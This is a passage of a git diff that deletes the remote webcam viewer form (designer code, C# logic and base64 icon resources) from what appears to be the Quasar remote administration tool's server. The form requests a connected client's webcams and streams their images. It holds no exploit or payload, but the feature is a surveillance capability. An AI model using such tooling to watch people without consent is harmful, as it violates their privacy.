AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Forms/FrmRemoteWebcam.Designer.cs b/Server/Forms/FrmRemoteWebcam.Designer.cs deleted file mode 100644 index 0e6945f3d..000000000 --- a/Server/Forms/FrmRemoteWebcam.Designer.cs +++ /dev/null @@ -1,173 +0,0 @@ -namespace xServer.Forms -{ - partial class FrmRemoteWebcam - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteWebcam)); - this.btnShow = new System.Windows.Forms.Button(); - this.panelTop = new System.Windows.Forms.Panel(); - this.cbResolutions = new System.Windows.Forms.ComboBox(); - this.cbWebcams = new System.Windows.Forms.ComboBox(); - this.btnHide = new System.Windows.Forms.Button(); - this.btnStart = new System.Windows.Forms.Button(); - this.btnStop = new System.Windows.Forms.Button(); - this.picWebcam = new xServer.Controls.RapidPictureBox(); - this.panelTop.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.picWebcam)).BeginInit(); - this.SuspendLayout(); - // - // btnShow - // - this.btnShow.Location = new System.Drawing.Point(388, 115); - this.btnShow.Name = "btnShow"; - this.btnShow.Size = new System.Drawing.Size(54, 19); - this.btnShow.TabIndex = 10; - this.btnShow.TabStop = false; - this.btnShow.Text = "Show"; - this.btnShow.UseVisualStyleBackColor = true; - this.btnShow.Visible = false; - this.btnShow.Click += new System.EventHandler(this.btnShow_Click); - // - // panelTop - // - this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.panelTop.Controls.Add(this.cbResolutions); - this.panelTop.Controls.Add(this.cbWebcams); - this.panelTop.Controls.Add(this.btnHide); - this.panelTop.Controls.Add(this.btnStart); - this.panelTop.Controls.Add(this.btnStop); - this.panelTop.Location = new System.Drawing.Point(330, 0); - this.panelTop.Name = "panelTop"; - this.panelTop.Size = new System.Drawing.Size(181, 109); - this.panelTop.TabIndex = 9; - // - // cbResolutions - // - this.cbResolutions.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; - this.cbResolutions.FormattingEnabled = true; - this.cbResolutions.Location = new System.Drawing.Point(15, 57); - this.cbResolutions.Name = "cbResolutions"; - this.cbResolutions.Size = new System.Drawing.Size(149, 21); - this.cbResolutions.TabIndex = 9; - this.cbResolutions.TabStop = false; - // - // cbWebcams - // - this.cbWebcams.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; - this.cbWebcams.FormattingEnabled = true; - this.cbWebcams.Location = new System.Drawing.Point(15, 30); - this.cbWebcams.Name = "cbWebcams"; - this.cbWebcams.Size = new System.Drawing.Size(149, 21); - this.cbWebcams.TabIndex = 8; - this.cbWebcams.TabStop = false; - this.cbWebcams.SelectedIndexChanged += new System.EventHandler(this.cbWebcams_SelectedIndexChanged); - // - // btnHide - // - this.btnHide.Location = new System.Drawing.Point(57, 84); - this.btnHide.Name = "btnHide"; - this.btnHide.Size = new System.Drawing.Size(54, 19); - this.btnHide.TabIndex = 7; - this.btnHide.TabStop = false; - this.btnHide.Text = "Hide"; - this.btnHide.UseVisualStyleBackColor = true; - this.btnHide.Click += new System.EventHandler(this.btnHide_Click); - // - // btnStart - // - this.btnStart.Location = new System.Drawing.Point(15, 5); - this.btnStart.Name = "btnStart"; - this.btnStart.Size = new System.Drawing.Size(68, 23); - this.btnStart.TabIndex = 1; - this.btnStart.TabStop = false; - this.btnStart.Text = "Start"; - this.btnStart.UseVisualStyleBackColor = true; - this.btnStart.Click += new System.EventHandler(this.btnStart_Click); - // - // btnStop - // - this.btnStop.Enabled = false; - this.btnStop.Location = new System.Drawing.Point(96, 5); - this.btnStop.Name = "btnStop"; - this.btnStop.Size = new System.Drawing.Size(68, 23); - this.btnStop.TabIndex = 2; - this.btnStop.TabStop = false; - this.btnStop.Text = "Stop"; - this.btnStop.UseVisualStyleBackColor = true; - this.btnStop.Click += new System.EventHandler(this.btnStop_Click); - // - // picWebcam - // - this.picWebcam.BackColor = System.Drawing.Color.Black; - this.picWebcam.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.picWebcam.Cursor = System.Windows.Forms.Cursors.Default; - this.picWebcam.Dock = System.Windows.Forms.DockStyle.Fill; - this.picWebcam.GetImageSafe = null; - this.picWebcam.Location = new System.Drawing.Point(0, 0); - this.picWebcam.Name = "picWebcam"; - this.picWebcam.Running = false; - this.picWebcam.Size = new System.Drawing.Size(794, 562); - this.picWebcam.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.picWebcam.TabIndex = 1; - this.picWebcam.TabStop = false; - // - // FrmRemoteWebcam - // - this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; - this.ClientSize = new System.Drawing.Size(794, 562); - this.Controls.Add(this.btnShow); - this.Controls.Add(this.panelTop); - this.Controls.Add(this.picWebcam); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MinimumSize = new System.Drawing.Size(480, 320); - this.Name = "FrmRemoteWebcam"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "FrmRemoteWebcam []"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteWebcam_FormClosing); - this.Load += new System.EventHandler(this.FrmRemoteWebcam_Load); - this.Resize += new System.EventHandler(this.FrmRemoteWebcam_Resize); - this.panelTop.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.picWebcam)).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private Controls.RapidPictureBox picWebcam; - private System.Windows.Forms.Button btnShow; - private System.Windows.Forms.Panel panelTop; - private System.Windows.Forms.ComboBox cbWebcams; - private System.Windows.Forms.Button btnHide; - private System.Windows.Forms.Button btnStart; - private System.Windows.Forms.Button btnStop; - private System.Windows.Forms.ComboBox cbResolutions; - } -} \ No newline at end of file diff --git a/Server/Forms/FrmRemoteWebcam.cs b/Server/Forms/FrmRemoteWebcam.cs deleted file mode 100644 index 0f885d80f..000000000 --- a/Server/Forms/FrmRemoteWebcam.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Linq; -using System.Windows.Forms; -using Quasar.Common.Messages; -using Quasar.Common.Video; -using xServer.Core.Helper; -using xServer.Core.Networking; - -namespace xServer.Forms -{ - public partial class FrmRemoteWebcam : Form - { - public bool IsStarted { get; private set; } - private readonly Client _connectClient; - private Dictionary> _webcams; - - public FrmRemoteWebcam(Client c) - { - _connectClient = c; - _connectClient.Value.FrmWebcam = this; - - InitializeComponent(); - } - - private void btnShow_Click(object sender, EventArgs e) - { - panelTop.Visible = true; - btnShow.Visible = false; - btnHide.Visible = true; - this.ActiveControl = picWebcam; - } - - private void btnHide_Click(object sender, EventArgs e) - { - panelTop.Visible = false; - btnShow.Visible = true; - btnHide.Visible = false; - this.ActiveControl = picWebcam; - } - - private void FrmRemoteWebcam_Load(object sender, EventArgs e) - { - this.Text = WindowHelper.GetWindowTitle("Remote Webcam", _connectClient); - - panelTop.Left = (this.Width / 2) - (panelTop.Width / 2); - - btnHide.Left = (panelTop.Width / 2) - (btnHide.Width / 2); - - btnShow.Location = new Point(377, 0); - btnShow.Left = (this.Width / 2) - (btnShow.Width / 2); - - if (_connectClient.Value != null) - _connectClient.Send(new GetWebcams()); - } - public void AddWebcams(Dictionary> webcams) - { - this._webcams = webcams; - try - { - cbWebcams.Invoke((MethodInvoker)delegate - { - foreach (var webcam in webcams.Keys) - { - cbWebcams.Items.Add(webcam); - } - cbWebcams.SelectedIndex = 0; - }); - } - catch (InvalidOperationException) - { - } - } - public void UpdateImage(Bitmap bmp, bool cloneBitmap = false) - { - picWebcam.Image = new Bitmap(bmp, picWebcam.Width, picWebcam.Height); - } - - private void btnStart_Click(object sender, EventArgs e) - { - if (cbWebcams.Items.Count == 0) - { - MessageBox.Show("No webcam detected.\nPlease wait till the client sends a list with available webcams.", - "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); - return; - } - - ToggleControls(false); - - this.ActiveControl = picWebcam; - - _connectClient.Send(new GetWebcam - { - Webcam = cbWebcams.SelectedIndex, - Resolution = cbResolutions.SelectedIndex - }); - } - - public void ToggleControls(bool state) - { - IsStarted = !state; - - cbWebcams.Enabled = cbResolutions.Enabled = btnStart.Enabled = state; - btnStop.Enabled = !state; - } - - private void FrmRemoteWebcam_FormClosing(object sender, FormClosingEventArgs e) - { - _connectClient.Send(new DoWebcamStop()); - - if (_connectClient.Value != null) - _connectClient.Value.FrmWebcam = null; - } - - private void FrmRemoteWebcam_Resize(object sender, EventArgs e) - { - panelTop.Left = (this.Width / 2) - (panelTop.Width / 2); - btnShow.Left = (this.Width / 2) - (btnShow.Width / 2); - } - - private void btnStop_Click(object sender, EventArgs e) - { - ToggleControls(true); - this.ActiveControl = picWebcam; - - _connectClient.Send(new DoWebcamStop()); - } - - private void cbWebcams_SelectedIndexChanged(object sender, EventArgs e) - { - cbResolutions.Invoke((MethodInvoker)delegate - { - cbResolutions.Items.Clear(); - foreach (var resolution in this._webcams.ElementAt(cbWebcams.SelectedIndex).Value) - { - cbResolutions.Items.Add(resolution.ToString()); - } - cbResolutions.SelectedIndex = 0; - }); - } - } -} diff --git a/Server/Forms/FrmRemoteWebcam.resx b/Server/Forms/FrmRemoteWebcam.resx deleted file mode 100644 index 2c592595d..000000000 --- a/Server/Forms/FrmRemoteWebcam.resx +++ /dev/null @@ -1,659 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA - IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// - /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// - /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// - /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws - JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo - If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL - Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex - Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub - lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S - zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW - 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI - hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo - If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl - Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo - Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// - /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA - //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA - AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq - I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn - IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp - Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp - Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp - Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw - KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo - If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo - If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp - Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B - fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo - IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX - D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// - /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 - 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e - V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 - Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp - Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw - qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e - F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 - tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn - IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm - X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF - vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl - Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA - Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo - If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 - +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND - PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ - /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// - /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o - 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo - IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 - bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp - Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo - If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp - Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp - If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr - qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp - Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl - Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp - Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm - H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 - Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn - IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// - /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i - Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// - /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo - If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 - LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 - MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 - Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo - If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm - H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo - If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK - Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko - If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn - IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp - Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk - HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY - Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD - Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp - IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f - F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp - Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 - NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp - Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp - Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// - /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl - Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn - IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// - /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg - GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm - YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj - HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d - Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY - k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp - Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop - Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu - af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr - JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk - Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq - 